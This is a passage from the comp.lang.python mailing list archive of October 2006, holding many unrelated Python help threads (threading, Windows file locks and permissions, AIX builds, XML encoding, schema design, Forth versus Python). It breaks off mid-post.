<1162329971.939178.290250@m7g2000cwm.googlegroups.com> References: <1162329971.939178.290250@m7g2000cwm.googlegroups.com> Message-ID: <4547C145.1080402@v.loewis.de> unexpected schrieb: > I'm aware of resources like the F2Py Interface generator, but this only > lets me access the Fortran modules I need in Python. I'm wondering if > there's a way to generate the .o files from Python (maybe using > py2exe?) and then link the .o file with the rest of the Fortran project > using something like gcc. > > I realize that all of this is highly dependent on the libraries I use, > etc, but I'm just looking for general strategies to attack the problem > or someone to tell me that this is impossible. Please take a look at the "extending and embedding" tutorial. This explains you how to integrate Python code into a C application. If you think this could work for you if just your application was C, I think the Python-Fortran people can give you precise instructions on how to integrate Python code into a Fortran program. In the simplest embedding example, you just link the Python VM itself into the hosting application. The actual Python files stay on disk, and invoking a Python function from C/Fortran will just end up doing a regular Python import (with searching sys.path and everything). If, for packaging reasons, you prefer to have the Fortran program stand-alone, I recommend to use freeze. freeze gives you indeed .o files for Python files, plus a global table of all frozen modules. Then, when doing an import, the interpreter won't go to disk anymore, but it will import the byte code "from memory" (it still would be a regular import operation). Freeze, of course, requires you to recompile/relink your application every time you change a Python source file. HTH, Martin From fabien.benard at gmail.com Thu Oct 12 17:55:58 2006 From: fabien.benard at gmail.com (fabien.benard at gmail.com) Date: 12 Oct 2006 14:55:58 -0700 Subject: SOAPpy and callback Message-ID: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> Hello, I'm trying to find how to use a callback in a SOAP client using SOAPpy. Does SOAPpy have to manage it, or does Python include some API to do it? Thanks a lot. Fabien From sebastien.ramage at gmail.com Tue Oct 3 03:45:02 2006 From: sebastien.ramage at gmail.com (=?iso-8859-1?q?S=E9bastien_Ramage?=) Date: 3 Oct 2006 00:45:02 -0700 Subject: How Build VTK for Python 2.5 under Windows? Message-ID: <1159861502.281759.105750@m7g2000cwm.googlegroups.com> Hello, I'm running on Windows and I want to test VTK but I don't understand how build it Somebody can help me to build VTK for Python 2.5 under Windows? (or Python 2.43 if python 2.5 is a problem) I have no C compiler but I can install one if it's free. Thank you Seb From martin.dion at gmail.com Wed Oct 18 23:33:15 2006 From: martin.dion at gmail.com (martdi) Date: 18 Oct 2006 20:33:15 -0700 Subject: Converting existing module/objects to threads In-Reply-To: <1161227550.254069.254980@e3g2000cwe.googlegroups.com> References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> <1161225648.047155.163200@h48g2000cwc.googlegroups.com> <1161227550.254069.254980@e3g2000cwe.googlegroups.com> Message-ID: <1161228794.927591.306780@i42g2000cwa.googlegroups.com> I am not sure if I understand you question well, but: in the __init__ of the thread subclass, you can instantiate an object of the class that makes the work or ControllerThread could extend both classes and i don't think there would be a problem. Problems in multithreading usually happen when many threads try to access the same ressource at the same time or that one thread waits for an other thread to finish, and that other thread waits for the first one to finish. The Queue module is threadsafe and it uses locking to prevent multiple threads to access it at the same time. Using Queue is a lot easier than having to manage locks by yourself. As long as you do not share data between your classes like static members, database connections, or I/0 on the same ressource, you probably won't encounter problems. jdlists at gmail.com wrote: > martdi wrote: > > jdlists at gmail.com wrote: > > > I have inheirted some existing code, that i will explain in a moment, > > > have needed to extend and ultimately should be able to run in threads. > > > I've done a bunch of work with python but very little with threads and > > > am looking for some pointers on how to implement, and if the lower > > > level modules/objects need to be rewritten to use threading.local for > > > all local variables. > > > > > > I have a module that communicates with a hardware device, which reads > > > data off of sensors, that can only talk with one controller at a time. > > > The controller (my module) needs to (in its simplest form) init, > > > configure the device, request data, and write out xml, sleep, repeat. > > > > > > The new request is that the device needs to be queried until a > > > condition is true, and then start requesting data. So an instance of a > > > controller needs to be deadicated to a hardware device forever, or > > > until the program ends....which ever comes first. > > > > > > This currently works in a non-threaded version, but only for one device > > > at a time, there is a need to create a single windows(yeach) service > > > that talks to many of these devices at once. I don't need worker > > > threads that handle seperate portions of the entire job, i need a > > > single application to spawn multiple processes to run through the > > > entire communication from configure to report, sleep until the next > > > interval time and run again. The communication could last from 1 > > > minute to 10 minutes before it ends. > > > > > > > > > Here is the code layout in pseudocode. > > > > > > module.Object - controller.Main - handles all socket communications > > > > > > class subcontroller(controller.Main): > > > def __init__(self,id,configurationFile): > > > controller.Main.__init__(self) > > > // instantiate variables and local objects that handle > > > configuration, logic and data output > > > > > > def configure(self,configurationFile): > > > //read configurationFile and configure device > > > > > > def process(self): > > > while 1: > > > //based on configuration file, query the device until condition > > > is true and then write xml, sleep until time to repeat and run again. > > > > > > within controller there are 5 objects and subcontroller is a sinlge > > > object that loads other objects from the inherited controller.System > > > > > > I'm trying to figure out how difficult it is going to be to convert > > > this to a threaded application. The original controller.Main is built > > > to talk to devices in series, never in parallel. so no objects are > > > considered to be thread safe, but no instance of any of the objects > > > should need to share resources with any other instance of teh same > > > object. they would all have unique configuration files and talk to > > > devices on unique ip/ports. > > > > > > on a unix system, forking,while potentially not optimal, would be a > > > fine solution, unfortunantely this needs to run on windows. > > > > > > I know i have left out many details, but hopefully this is enough to at > > > least enable some kind soles to lend an opinnion or two. > > > > > > many thanks > > > jd > > > > Taking a look at asyncore could be worthwhile, but if you want to > > implement it with threads, you may be able to do it this way: > > > > In your main file, from where you start the program, let's call it > > main: > > > > main(self) > > Load Required configuration > > spawn threads (1 for each controller) > > define a queue object from module queue.queue used for communication > > with threads > > enter an infinite loop that checks for the conditions > > once conditions are met, notify the proper thread > > > > > > class ControllerThread(threading.Thread): > > def __init__(self): > > define a queue here, to process messages from the main > > call threading.Thread.__init__(self) > > > > define method to load config for thread objects > > (you might want to pass an argument to init to load your configs > > from a file) > > (you might also want to pass the queue of the main program to the > > thread to send it messages) > > define methods to post messages to the queue like read, send to the > > machine, stop, ... > > > > define the run method that is what will be called when you start > > your thread. > > this method should enter an infinite loop that will check if > > something has to be done (check in the queue). > > > > > > > > > > > > hope this might help you > > good luck > > thanks for the comments. the ControllerThread already extends a class. > does this cause problems with classes that must extent > threading.Thread. Normally it should not matter, but with threads i'm > unsure. Should i just instantiate the object that i'm normally > extending in the ControllerThread.__init__, and call it from the > self.classthatusedtoextend.method(), or does it not matter. > > again, thanks. From rtw at freenet.co.uk Tue Oct 3 11:03:25 2006 From: rtw at freenet.co.uk (Rob Williscroft) Date: Tue, 03 Oct 2006 10:03:25 -0500 Subject: Instantiating an object when the type is only known at runtime References: <1159883162.906612.292870@c28g2000cwb.googlegroups.com> Message-ID: Samuel wrote in news:1159883162.906612.292870 at c28g2000cwb.googlegroups.com in comp.lang.python: > Hi, > > I am trying to replace the eval() in the following code: > > def myfunc(type, table): > module = __import__(type) > type = 'module' + '.' + type > obj = eval(type) > return obj(row[table.c.name], row[table.c.handle]) > >>> m = __import__( "StringIO" ) >>> x = getattr( m, "StringIO" )() >>> x >>> Rob. From ismael.pernas.c at gmail.es Mon Oct 23 10:57:12 2006 From: ismael.pernas.c at gmail.es (ismael) Date: Mon, 23 Oct 2006 16:57:12 +0200 Subject: File and directory permissions in windows Message-ID: Hi all I have some problems to get the the permissions on windows. I use a simple code that run perfectly in UNIX but give me wrong information on Windows. I found this code searching by google: import os import stat print os.stat('fichero.txt') st = os.stat('fichero.txt') mode = st[stat.ST_MODE] print mode if mode & stat.S_IREAD: # same as stat.S_IRUSR print "readable" if mode & stat.S_IWRITE: # same as stat.S_IWUSR print "writable" if mode & stat.S_IEXEC: # same as stat.S_IXUSR print "executable" This code allways say that file is readable and writable except if is a read only file. Looking for a solution I found this code that use other library but the result is the same: import nt import os import sys if (sys.platform == "win32"): print nt.access ('c:/prueba/fichero.txt', nt.W_OK) is there a solution for this?, another library or code? Anything that i do wrong? Thanks everybody. Best regards. From hpsekhon at googlemail.com Mon Oct 2 13:51:00 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Mon, 02 Oct 2006 18:51:00 +0100 Subject: commands.getstatusoutput result is not command line exit value!!! In-Reply-To: <4521456d$1@nntp0.pdx.net> References: <452125F8.8070106@googlemail.com> <4521456d$1@nntp0.pdx.net> Message-ID: <45215184.1070906@googlemail.com> yes already noted by Steve, thanks. I should have spotted that myself straight away but I was too wrapped up in this whole "I didn't realise there were 2 sets of numbers" thing, gotta go read some unix programming books it would seem this is a os function that I am not aware of. I still reserve the right to be annoyed at commands for not hiding this from me like everything else, but then is right (as always it would seem) I should not be using such a deprecated thing like commands, I will switch to subprocess... I'm even more surprised since I do so much shell scripting and I've never even heard of this thing before, I guess only the really battle-scarred old skool ones may know of it. -h Hari Sekhon Scott David Daniels wrote: > Steve Holden wrote: > >> Hari Sekhon wrote: >> >>> I'm running a command like >>> >>> import commands >>> result = commands.getstatusoutput('somecommand') >>> print result[0] >>> 3072 >>> > ... > >> No, it's just returning the error code in the top half of a sixteen-bit >> value. You will notice that 3072 == 2 * 256. >> > For the rest of us playing along at home, there is a typo there: > The preceding line should read: > > value. You will notice that 3072 == 12 * 256. > > --Scott David Daniels > scott.daniels at acm.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nnorwitz at gmail.com Fri Oct 27 23:23:50 2006 From: nnorwitz at gmail.com (nnorwitz at gmail.com) Date: 27 Oct 2006 20:23:50 -0700 Subject: compiling on AIX 5.3 with vacpp In-Reply-To: <1161895884.160561.308020@e3g2000cwe.googlegroups.com> References: <1161895884.160561.308020@e3g2000cwe.googlegroups.com> Message-ID: <1162005830.878986.204250@m73g2000cwd.googlegroups.com> pruebauno at latinmail.com wrote: > I am trying to compile Python 2.5 on AIX 5.3. I used > > building '_locale' extension > ./Modules/ld_so_aix xlc_r -q64 -bI:Modules/python.exp > build/temp.aix-5.3-2.5/home/pxadm/.test/Python-2.5/Modules/_localemodule.o > -L/usr/local/lib -o build/lib.aix-5.3-2.5/_locale.so > ld: 0711-317 ERROR: Undefined symbol: .bindtextdomain > ld: 0711-317 ERROR: Undefined symbol: .textdomain > ld: 0711-317 ERROR: Undefined symbol: .dcgettext > ld: 0711-317 ERROR: Undefined symbol: .dgettext > ld: 0711-317 ERROR: Undefined symbol: .gettext The problem is that an additional library is needed to link the locale module. You will first need to determine what library is needed. Maybe libintl? To find out, you can do a man on any of those symbols, for example, man textdomain. That should tell you want library is required. You will then need to modify setup.py to add the extra library for the locale module. There's already some support for this in setup.py around line 390: # access to ISO C locale support data = open('pyconfig.h').read() m = re.search(r"#s*define\s+WITH_LIBINTL\s+1\s*", data) if m is not None: locale_libs = ['intl'] else: locale_libs = [] if platform == 'darwin': locale_extra_link_args = ['-framework', 'CoreFoundation'] else: locale_extra_link_args = [] exts.append( Extension('_locale', ['_localemodule.c'], libraries=locale_libs, extra_link_args=locale_extra_link_args) ) Once you get something working, please post a patch. n From aisaac0 at verizon.net Wed Oct 4 13:29:36 2006 From: aisaac0 at verizon.net (David Isaac) Date: Wed, 04 Oct 2006 17:29:36 GMT Subject: item access time: sets v. lists References: Message-ID: <4cSUg.7864$753.4683@trnddc05> Paul M. wrote: > Random access to item in list/set when item exists > set -> 0.000241650824337 > list -> 0.0245168031132 > > Random access to item in list/set when item does not exist > set -> 0.000187733357172 > list -> 0.522086186932 OK, that's a much better set of answers including to questions I did not even know I wanted to ask until I saw your post. But, how to explain the above?? Thanks, Alan Isaac From martin at v.loewis.de Wed Oct 4 18:46:22 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 05 Oct 2006 00:46:22 +0200 Subject: How to ask sax for the file encoding In-Reply-To: <4524226b$0$4520$e4fe514c@news.xs4all.nl> References: <4oi0f3FehgnuU1@uni-berlin.de> <4oi4meFep2seU1@uni-berlin.de> <4523f44d$0$4528$e4fe514c@news.xs4all.nl> <4524226b$0$4520$e4fe514c@news.xs4all.nl> Message-ID: <452439bf$0$29051$9b622d9e@news.freenet.de> Irmen de Jong schrieb: > As others have tried to explain, the encoding in the xml header is > not part of the document data itself, it says something about the data. > It would be a bad design decision imo to rely on this meta information > if you really meant that information to be part of the data document. A common problem is to save the data in the same encoding that they original had; this is what an editor typically does (you may know Edward Ream for writing editors). XML parsers are notoriously bad in supporting editors. There are too many lexical details that may need to be preserved (such as the order of the attributes, and the spaces inside the opening tag) to make it impractical to report all that to the application. IMO, the only way to edit XML on a level that does preserving of the tiniest lexical details is to edit it as plain text (i.e. without using an XML parser). Regards, Martin From ericlake at gmail.com Thu Oct 19 10:44:32 2006 From: ericlake at gmail.com (elake) Date: 19 Oct 2006 07:44:32 -0700 Subject: Determining if a file is locked in Windows In-Reply-To: References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com> Message-ID: <1161269072.312305.297430@m73g2000cwd.googlegroups.com> Larry Bates wrote: > elake wrote: > > I found this thread about a pst file in Windows being locked and I am > > having the same issue. > > > > http://groups.google.com/group/comp.lang.python/browse_thread/thread/d3dee5550b6d3652/ed00977acf62484f?lnk=gst&q=%27copying+locked+files%27&rnum=1 > > > > The problem is that I have a script that can find the pst files on > > every machine in my network and back them up to a server for safe > > keeping. The problem is that when Outlook is running it locks the file > > and will not allow me to copy it to the destination. I am using the > > shutil module for the copy. > > > > Is there a way to first determine if the file is locked and then do the > > copy if it isn't? I thought about looking to see if Outlook.exe is > > running but the machines are shared and the process could be running > > but with a different pst file in use. > > > > Thanks in advance > > > Try the copy and catch the exception instead. > > -Larry Bates Larry thanks for your suggestion. this is what I tried: #!/usr/bin/env python import os, shutil path = 'c:\documents and settings\username\Local Settings\Application Data\Microsoft\Outlook' src = 'Outlook.pst' dst = 'test.pst' os.chdir(path) try: shutil.copy2(src, dst) except IOError: print 'Must be locked by Outlook' print 'Finished' The problem is that even though I catch the IOError it overwrites the dst file and makes it 0kb. This is going to be for backing these files up and it wont be good to overwrite the backup with a bad copy. Is there another way to do this that I am missing. I am still kind of new to Python. If i could tell that outlook had the file locked before I tried the copy then I think that it would be prevented. From lycka at carmen.se Mon Oct 9 07:45:25 2006 From: lycka at carmen.se (Magnus Lycka) Date: Mon, 09 Oct 2006 13:45:25 +0200 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: gord wrote: > As a complete novice in the study of Python, I am asking myself where this > language is superior or better suited than others. For example, all I see in > the tutorials are lots of examples of list processing, arithmetic > calculations - all in a DOS-like environment. Python runs on almost everything from mobile phones to mainframes, so it can't really provide one particular GUI or one particular development environment. There are a number of free and commercial IDEs and GUI tool kits, but I don't know if there is anything that gives you such a low entry threshold for GUI development as VB or Delphi. I never "painted" GUIs in Python, I coded them in a plain editor, but you get used to that pretty soon, and you'll feel more in control, and the more complex your GUIs get, the more you can gain from having that control. In my experience it's much easier to reuse GUI code in Python than in VB etc. If you have made a few windows, and written your code in an intelligent way, making additional and similar windows can be very quick, and maintaining their uniform look, feel and behavior can be easier. Anyway, if GUI development is what you want, you need to look at a particular GUI toolkit. Depending on what you are after, you might want to use Dabo, WxPython, PyGame or some other toolkit. I know, it's much easier to choose if you only have one choice, but this is the way things work in free software: no one tries to lock you in, so there is a flora of different tools suited for different needs. This makes it a bit harder to get started: You need to take more decisions--but you'll hopefully end up with something which is a better fit, where you don't need to work around the limits of the tool, or limit your world view to idioms supported a one-size-fits-all tool. > What is particularly disappointing is the absence of a Windows IDE, > components and an event driven paradigm. How does Python stand relative to > the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these > programming packages are quite expensive now while Python is free (at least > for the package I am using - ActivePython). It's more like Java than like any of these three really. It's not specifically geared towards building GUI apps (like two of the above) and it It's a more modern language than the above. It started from scratch around 1990, as opposed to BASIC, C++ and Pascal. Both C and Pascal popped up around 1970, and BASIC is older than that. While they have developed a lot, the modern incarnations still carry a historical baggage. Python's syntax has been based on research and 20 more years of experiences in the problems that your other languages are stuck with. Python's major inspiration was ABC, a programming language developed as a research project with the aim of being easy and pedagogical to use. On the other hand it's more like C++ than like Java in the sense that it supports object-oriented programming, but it doesn't enforce it. C++ and Python (as well as Delphi's Object Pascal I guess) can be described as multi-paradigm languages. > Please discuss where Python shines. Until 1996, it was my firm belief that there were only two kind of tools in the software development world. - Some tools (e.g. VB and Access) makes it easy to get started and make small thing, but when the systems grow and the requirements get tougher, your problems start to grow exponentially. You hit a wall it seems. At least it starts to feel like a tough uphill battle. - Other tools are more difficult to learn (e.g. Unix), but once you master them, they grow on you, and you feel that you can take on harder problems without hitting that wall. It was a revelation to bump into Python in 1996. Suddenly, there was something which was easy to get started with, but still just felt better and better the longer I used it. That's the killer feature in my mind. From greenbergj at wit.edu Thu Oct 19 17:40:14 2006 From: greenbergj at wit.edu (Jordan Greenberg) Date: Thu, 19 Oct 2006 17:40:14 -0400 Subject: proper format for this database table In-Reply-To: References: Message-ID: <4537F0BE.7010408@wit.edu> John Salerno wrote: > Hi guys. I was wondering if someone could suggest some possible > structures for an "Education" table in a database. It will contain at > minimum university names, years of attendance, and degrees earned. My > problem is that I don't know quite how to set this up for people who > have attended multiple universities. I could do: > > university text DEFAULT NULL, > yearStart integer DEFAULT NULL, > yearEnd integer DEFAULT NULL, > degreesEarned text DEFAULT NULL > > But this only allows for one university. (Also not sure if I should > split up the years like that.) But mainly I'm looking for a way to > construct this table so it can hold multiple universities, if necessary. > > Thanks. Use associative tables. Something like: Table Students: PK id (some unique id, maybe a student id#, or just an auto-inc) name, etc... Table Students2Education: studentID (id from Students) EducationID (id from Education) Table Education: id (probably just some auto-inc) university yearStart yearEnd degreesEarned This way, if you have some students: Students: 001 Jordan and Jordan started university in 2003 @ Wentworth Institute of Technology: Students2Education: 001 Wentworth_Institute_Of_Technology Education: 1 Wentworth_Institute_Of_Technology 2003 NULL NULL And then, in the future, say I go to MIT. By then I'll (hopefully) have my CS degree... Students: 001 Jordan Students2Education: 001 Wentworth_Institute_Of_Technology Education: 1 Wentworth_Institute_Of_Technology 2003 2007 BCOS 2 Massachusetts_Institute_Of_Technology 2008 NULL NULL And I could go back to Wentworth and major in Computer Engineering this time: Education: 1 Wentworth_Institute_Of_Technology 2003 2007 BCOS 2 Wentworth_Institute_Of_Technology 2007 200 (You should probably use an integer ID for universities, and have a separate table to link those to names. Something like: Education: UniversityID yearStart yearEnd degreeEarned Universities: UniversityID Name City Etc,etc) In general, when you're having trouble representing something in a database, it helps to break it down and model the smaller relationships first, and use those as building blocks to model the whole relationship. HTH. Jordan Greenberg -- Posted via a free Usenet account from http://www.teranews.com From jcd at sdf.lonestar.org Mon Oct 30 12:56:18 2006 From: jcd at sdf.lonestar.org (J. Clifford Dyer) Date: Mon, 30 Oct 2006 10:56:18 -0700 Subject: create global variables? References: Message-ID: Alistair King wrote: > Hi, > > is there a simple way of creating global variables within a function? > > ive tried simply adding the variables in: > > def function(atom, Xaa, Xab): > Xaa = onefunction(atom) > Xab = anotherfunction(atom) > > if i can give something like: > > function('C') #where atom = 'C' but not necessarly include Xaa or Xab > > i would like to recieve: > > Caa = a float > Cab = another float > > ive tried predefining Xaa and Xab before the function but they are > global values and wont change within my function. Is there a simple way > round this, even if i call the function with the variables ('C', Caa, Cab)? > ............................................................................................................................... > > some actual code: > > # sample dictionaries > DS1v = {'C': 6} > pt = {'C': 12.0107} > > def monoVarcalc(atom): > a = atom + 'aa' > Xaa = a.strip('\'') > m = atom + 'ma' > Xma = m.strip('\'') > Xaa = DS1v.get(atom) > Xma = pt.get(atom) > print Xma > print Xaa > > monoVarcalc('C') > > print Caa > print Cma > ............................................................................................................................... > it seems to work but again i can only print the values of Xma and Xaa > > ? > > Alistair > I suspect you are misusing the concept of a function. In most basic cases, and I suspect your case applies just as well as most, a function should take arguments and return results, with no other communication between the calling code and the function itself. When you are inside your function don't worry about the names of the variables outside. I'm not sure exactly where your floats are coming from, but try something like this: >>> def monoVarCalc(relevant_data): ... float1 = relevant_data * 42.0 ... float2 = relevant_data / 23.0 ... return float1, float2 >>> C = 2001 >>> Caa, Cab = monoVarCalc(C) >>> Caa 84042.0 >>> Cab 87.0 Notice that you don't need to use the variable C (or much less the string "C", inside monoVarCalc at all. It gets bound to the name relevant_data instead. Also, if you are going to have a lot of these little results lying around, (Cab, Cac ... Czy, Czz), you might consider making them a list or a dictionary instead. I won't tell you how to do that, though. The online tutorial has plenty of information on that. http://docs.python.org/tut/tut.html Cheers, Cliff From sybrenUSE at YOURthirdtower.com.imagination Tue Oct 24 09:44:27 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Tue, 24 Oct 2006 15:44:27 +0200 Subject: A py2exe like tool for Linux References: Message-ID: Paolo Pantaleo enlightened us with: > is thre something like py2exe for Linux? I don't need to build a > standalone executable (most Linuxes have python instaled), but at > least I need to provide all the needed libraries togheter with my > source code, so users just need to download one file, and not > several libraries. You can use Freeze: http://lists.fourthought.com/pipermail/4suite/2005-March/007127.html Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From martin at v.loewis.de Wed Oct 25 17:14:23 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 25 Oct 2006 23:14:23 +0200 Subject: question about True values In-Reply-To: <1161804934.010376.151330@f16g2000cwb.googlegroups.com> References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> Message-ID: <453FD3AF.4040800@v.loewis.de> John Coleman schrieb: > Yes - it just seems that there isn't a principled reason for implicitly > converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to > boolean in "cat" == true. Sure there is: equality should be transitive. So while we have 3 == 3L == 3.0 == 3.0+0j and can therefore imply that 3 == 3.0+0j, we should not get 5 == True == ["foo"] and therefore imply that 5 == ["foo"]. The phenomenon really exists only for numeric types (that two values of different types still represent the same "thing"), so it's not surprising that this doesn't readily extend to other types. In Python, there are only very few similar cases: byte strings and unicode strings sometimes compare equal (but, since 2.5, don't compare unequal very often); lists and tuples could be considered to have equal values, but don't actually do compare equal. Regards, Martin From steve at holdenweb.com Tue Oct 3 08:08:12 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 03 Oct 2006 13:08:12 +0100 Subject: Howto pass Array/Hash into Function In-Reply-To: <1159868807.385239.307390@h48g2000cwc.googlegroups.com> References: <1159867755.636060.48790@m7g2000cwm.googlegroups.com> <1159868807.385239.307390@h48g2000cwc.googlegroups.com> Message-ID: MonkeeSage wrote: > Wildemar Wildenburger wrote: > >>MonkeeSage wrote: >> >>>Wijaya Edward wrote: >>> >>>>I wonder how can that be done in Python. >>> >>>def myfunc(plain_var, hash_ref, arref): >>> # Do sth with those variables >>> return >> >>At the risk of being a jerk (sorry, I'm really just curious): >>Why isn't that obvious? >> >>wildemar (sorry) > > > I wondered that too and wasn't even going to answer, but then I thought > mabye the question was meant to be more general, like "what is the > syntax for passing objects to functions in python?" > It wouldn't be obvious to someone who learned Perl as their first programming language because Perl chose to ignore the otherwise almost universal convention that formal parameters determine the arguments that a function or procedure can be calles with. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From duncan.booth at invalid.invalid Wed Oct 11 13:58:23 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 11 Oct 2006 17:58:23 GMT Subject: hundreds of seconds? References: <1160577496.366622.310080@i3g2000cwc.googlegroups.com> <4p4e8mFgj24eU1@uni-berlin.de> Message-ID: "Diez B. Roggisch" wrote: > However, be aware that your OS may limit the precision here. I'm not > sure, but I think Windows for example doesn't get faster than 10th or > 100th of a second. 1/100th of a second. > > For more precise timing, you might need a special library/extension > that works with the cpu timer register or something like that. Or in Windows case just call time.clock() instead. From proteusguy at gmail.com Sun Oct 15 07:04:32 2006 From: proteusguy at gmail.com (proteusguy at gmail.com) Date: 15 Oct 2006 04:04:32 -0700 Subject: Standard Forth versus Python: a case study In-Reply-To: References: Message-ID: <1160910271.991082.66840@k70g2000cwa.googlegroups.com> John you nailed it. I was a big forth fan in the mid-80s but it was very clear that you either had to spend a lot of money on proprietary systems or do it ALL yourself. Not having any money I was pleased to be able to do it all but today, in the age of instant communication and collaboration, its not a competitive option in any language. Had forth kicked off the open source community about a decade earlier than the UNIX folk (in useful terms) I think we'd be living in a much different world from a computing perspective. Forth is still cool - but only when its for something I wanna do all by myself... :) -- Ben John Doty wrote: > I realized that I have a little job on the table that is a fine test of > the Python versus Standard Forth code availability and reusability issue. > > Note that I have little experience with either Python or Standard Forth > (but I have much experience with a very nonstandard Forth). I've noodled > around a bit with both gforth and Python, but I've never done a serious > application in either. In my heart, I'm more of a Forth fan: Python is a > bit too much of a black box for my taste. But in the end, I have work to > get done. > > The problem: > > I have a bunch of image files in FITS format. For each raster row in > each file, I need to determine the median pixel value and subtract it > from all of the pixels in that row, and then write out the results as > new FITS files. > > This is a real problem I need to solve, not a made-up toy problem. I was > originally thinking of solving it in C (I know where to get the pieces > in that language), but it seemed like a good test problem for the Python > versus Forth issue. > > I looked to import FITS reading/writing, array manipulation, and median > determination. From there, the solution should be pretty easy. > > So, first look for a median function in Python. A little googling finds: > > http://www.astro.cornell.edu/staff/loredo/statpy/ > > Wow! This is good stuff! An embarrassment of riches here! There are even > several FITS modules, and I wasn't even looking for those yet. And just > for further gratification, the page's author is an old student of mine > (but I'll try not to let this influence my attitude). So, I followed the > link to: > > http://www.nmr.mgh.harvard.edu/Neural_Systems_Group/gary/python.html > > From there, I downloaded stats.py, and the two other modules the page > says it requires, and installed them in my site-packages directory. Then > "from stats import median" got me a function to approximately determine > the median of a list. It just worked. The approximation is good enough > for my purposes here. > > Pyfits required a little more resourcefulness, in part because STSCI's > ftp server was down yesterday, but I got it installed too. It helps that > when something is missing, the error message gives you a module name. It > needs the numarray module, so I got array manipulation as a side effect. > > I haven't finished the program, but I've tried out the pieces and all > looks well here. > > OK, now for Forth. Googling for "forth dup swap median" easily found: > > http://www.taygeta.com/fsl/library/find.seq > > At first blush, this looked really good for Forth. The search zeroed in > on just what I wanted, no extras. The algorithm is better than the one > in the Python stats module: it gives exact results, so there's no need > to check that an approximation is good enough. But then, the > disappointment came. > > What do you do with this file? It documents the words it depends on, but > not where to get them. I'm looking at a significant effort to assemble > the pieces here, an effort I didn't suffer through with Python. So, my > first question was: "Is it worth it?". > > The answer came from searching for FITS support in Forth. If it exists > in public, it must be really well hidden. That's a "show stopper", so > there was no point in pursuing the Forth approach further. > > In the end, it was like comparing a muzzle-loading sharpshooter's rifle > with a machine gun: Forth got off one really good shot, but Python just > mowed the problems down. > > The advocates of the idea that Standard Forth has been a boon to code > reusability seem mostly to be people with large private libraries of > Forth legacy code. No doubt to them it really has been a boon. But I > think this little experiment shows that for the rest of us, Python has a > published base of reusable code that puts Forth to shame. > > -- > John Doty, Noqsi Aerospace, Ltd. > -- > Specialization is for robots. From steve at holdenweb.com Fri Oct 6 03:41:49 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 06 Oct 2006 08:41:49 +0100 Subject: OT Request In-Reply-To: References: Message-ID: Dennis Lee Bieber wrote: > On Thu, 5 Oct 2006 14:40:23 +0100, "Matthew Warren" > declaimed the following in comp.lang.python: > > >>This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. >> >>You should not copy the email, use it for any purpose or disclose its contents to any other person. >>Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. >>It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. >> > > > Pardon, but is there any possibility you can disable this rather > long block? I'm presuming you are accessing via the mailing list, but > that mailing list is gatewayed to a Usenet news group (and unless you've > managed to embed an X-noarchive header in email, Google Groups is going > to have the message available in perpetuity). There is no single > "intended recipient" -- the messages are being sent to anyone in the > world interested in reading comp.lang.python, so all this overhead is > meaningless. > > Or, at least, somehow fit a Usenet/email conventional signature > marker "-- " (dash, dash, space, newline) before it... Most decent > clients are designed not to quote material below such a marker. Sadly such garbage is usually appended at the insistence of pointy-haired corporate typess, many of them lawyers who need to justify their existence by helping companies to "avoid liability". Since these declarations usually don't contain any definition of the phrase "intended recipient" we are presumably left to read the monds of the originators before deciding whether to notify the sender immediately and delete the email from your computer". For some reason the mail administrators of the same companies often appear to believe that Microsoft Exchange defines email standards for the Internet, and they don't even know what a signature separator is. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From mike$#at^&nospam!%trauschus Fri Oct 27 08:17:28 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Fri, 27 Oct 2006 08:17:28 -0400 Subject: Tracing the execution of scripts? In-Reply-To: References: Message-ID: Jean-Paul Calderone wrote: > > In order of importance: > > 1) Write unit tests for your code. Keep writing unit tests until you have > some that _don't pass_. Then fix your code so that they do. When you do > further development, write the tests first, then implement the code that > makes them pass. > Perhaps I could use some pointers on that. I have read the bits and pieces that I have found regarding unit testing in the past, and I have wrote "unit tests" for things that I have done, but mostly for pieces of reusable code that interact with other programs. And I still have to wrap my mind around the idea of test first, develop later. It's fully possible that this works for many, but my (admittedly few) attempts at that methodology have failed me. I have a problem writing something without reference to look at while writing it -- so if I am writing something, say, to test my AnsiTextCtrl, I would need to look at the AnsiTextCtrl to see what methods and such I should be testing. That having been said, I don't have the slightest clue how a unit test would be written for something that is purely user oriented, anyway. I was under the impression that unit tests were automated little tests that required no user intervention to perform, right? Actually, thinking about the idea of unit tests, I have found a few resources online that generically talk about unit tests. Even the books that I have read on programming talk about unit tests. However, all the generic-ness with which the subject is approached makes my head spin. (It does that a lot when I am trying to learn something new, by the way.) > > 2) Don't use threads. At least have a way to not use threads while you're > debugging. Debugging with threads is very difficult. (Actually I'm not > sure > if you're using threads. If you're not, 